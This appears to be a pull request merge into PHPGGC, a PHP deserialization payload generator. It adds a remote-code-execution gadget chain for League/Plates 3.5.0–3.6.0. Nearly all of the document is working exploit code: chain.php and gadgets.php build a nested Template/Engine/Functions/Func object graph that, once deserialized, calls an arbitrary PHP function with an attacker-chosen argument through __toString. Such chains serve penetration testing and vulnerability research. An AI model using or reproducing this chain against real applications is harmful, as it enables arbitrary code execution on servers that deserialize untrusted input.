Merge pull request #211 from Tris0n/master

Added League/Plates RCE gadget chain

Author: nollium

gadgetchains/Plates/RCE/1/chain.php

@@ -0,0 +1,28 @@
+<?php
+namespace GadgetChain\Plates;
+
+class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
+{
+    public static $version = '3.5.0 >= 3.6.0';
+    public static $vector = '__toString';
+    public static $author = 'Tris0n';
+
+    public function generate(array $parameters)
+    {
+        $function = $parameters['function'];
+        $parameter = $parameters['parameter'];
+
+        return new \League\Plates\Template\Template(
+            new \League\Plates\Template\Template(
+                new \League\Plates\Engine(
+                    new \League\Plates\Template\Functions(
+                        new \League\Plates\Template\Func(
+                            $function
+                        )
+                    )
+                )
+            ),
+            $parameter
+        );
+    }
+}

gadgetchains/Plates/RCE/1/gadgets.php

@@ -0,0 +1,61 @@
+<?php
+
+namespace League\Plates\Template
+{
+    class Template
+    {
+        protected $name;
+        protected $engine;
+
+        public function __construct(object $Engine, string $parameter = null)
+        {
+            if($parameter !== null)
+            {
+                $this->name = $parameter;
+            }
+
+            $this->engine = $Engine;
+        }
+    }
+
+    class Functions
+    {
+        protected $functions = array();
+
+        public function __construct(object $Func)
+        {
+            $this->functions = [
+                "getResolveTemplatePath" => $Func
+            ];
+        }
+    }
+
+    class Func
+    {
+        protected $callback;
+        protected $name;
+
+        public function __construct($function)
+        {
+            $this->name = $function;
+
+            $this->callback = [
+                $this,
+                'getName'
+            ];
+        }
+    }
+}
+
+namespace League\Plates
+{
+    class Engine
+    {
+        protected $functions;
+        
+        public function __construct(object $Functions)
+        {
+            $this->functions = $Functions;
+        }
+    }
+}